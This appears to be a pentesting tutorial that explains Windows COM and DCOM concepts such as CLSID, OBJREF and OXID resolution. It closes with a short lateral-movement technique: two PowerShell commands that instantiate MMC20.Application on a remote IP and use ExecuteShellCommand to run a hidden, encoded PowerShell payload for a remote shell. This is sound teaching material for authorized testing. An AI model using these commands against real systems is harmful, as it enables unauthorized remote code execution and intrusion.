Table of Contents
Concepts
The Microsoft Component Object Model (COM) is a system for creating software components that interact with each other. While COM was created for either same-process or cross-process interaction, it was extended to Distributed Component Object Model (DCOM) for interaction between multiple computers over a network.
Think of COM as a way for Windows programs to use functionality provided by other programs.
For example, a program can ask Windows to open an Excel document through a COM object without implementing Excel functionality itself.
Distributed Component Object Model (DCOM) is a Windows technology that lets programs communicate with and execute objects on another Windows machine over the network. It’s essentially COM extended over a network.
DCOM is part of COM and uses RPC (typically TCP 135 plus dynamically assigned RPC ports). It is pretty similar to other remote management/communication protocols like WMI and WinRM.
WMI is a management framework that commonly uses DCOM/RPC for remote access, though newer WMI can also use WS-Man.
WinRM is different: it uses WS-Management (WS-Man) over HTTP/HTTPS, usually TCP 5985/5986.
Both COM and DCOM are very old technologies dating back to the very first editions of Windows. Interaction with DCOM is performed over RPC on TCP port 135 and local administrator access is required to call the DCOM Service Control Manager, which is essentially an API.
Historically: DCOM/COM is oldest (1990s), WMI came later (late 1990s), and WinRM/WS-Man is newer (2000s).
COM concepts
COM objects
COM Objects (Component Object Model) are reusable software components in Windows that expose functionality through interfaces.
Applications can interact with these objects without needing to know how they are internally implemented.
For example, PowerShell can create and use a COM object:
$object = New-Object -ComObject WScript.Shell
$object.Popup("Hello")
COM object exporter
COM object exporter Is the process or server that hosts COM objects and makes them available to other applications.
CLSID (Class Identifier)
CLSID (Class Identifier) - A GUID identifying a COM class. Windows uses it to determine which component to instantiate. This element is used a lot in JuicyPotato and Kerberos relay attack.
OBJREF (Object Reference)
OBJREF (Object Reference) - A data structure containing a reference to a COM object, including information needed to connect to its exporter.
CoGetInstanceFromIStorage
CoGetInstanceFromIStorage - A Windows COM API function that creates or retrieves a COM object using a storage object. It can trigger COM activation and authentication.
DCOM concepts
OXID and OXID Resolver
OXID (Object Exporter ID) - A unique identifier assigned to a COM object exporter, identifying the process or server hosting COM objects.
OXID Resolver - A component of Windows RPCSS that resolves an OXID into connection details, allowing clients to locate and communicate with the corresponding COM server.
For pentesting, OXID resolution can be abused in DCOM-based authentication relay attacks, such as Kerberos relay attack.
Think of OXID as a server identifier and the resolver as a directory lookup.
Example
Imagine a remote computer running Excel, and your program wants to open a workbook through DCOM.
- COM object - Excel exposes an automation object that allows programs to control Excel.
- CLSID - Your program uses Excel’s CLSID to identify which COM class it wants to instantiate.
- CoGetInstanceFromIStorage - Your program calls this Windows API to request COM object activation.
- OBJREF - Windows provides a reference containing information needed to access the object.
- Object exporter - The remote Excel process hosts the requested COM object.
- OXID - Identifies that object exporter.
- OXID Resolver - Resolves the OXID into RPC connection details.
- DCOM/RPC - Your program connects to the remote exporter and invokes Excel methods.
This is the general relationship; actual activation involves additional steps.
Attacks
DCOM can be abused for lateral movement.
Cybereason documented a collection of various DCOM lateral movement techniques, including one discovered by Matt Nelson.
The discovered DCOM lateral movement technique is based on the Microsoft Management Console (MMC) COM application that is employed for scripted automation of Windows systems.
The MMC Application Class allows the creation of Application Objects, which expose the ExecuteShellCommand method under the Document.ActiveView property. As its name suggests, this method allows the execution of any shell command if the authenticated user is authorized, which is the default for local administrators.
To use this technique, we need two commands:
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<REMOTE IP>")) - Just edit the IP here
Once the application object is saved into the $dcom variable, we can pass the required argument to the application via the ExecuteShellCommand method. The method accepts four parameters: Command, Directory, Parameters, and WindowState. We’re only interested in the first and third parameters, which will be populated with cmd and /c calc, respectively.
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e <PAYLOAD>","7") - This will spawn a shell if you have a workin’ listener.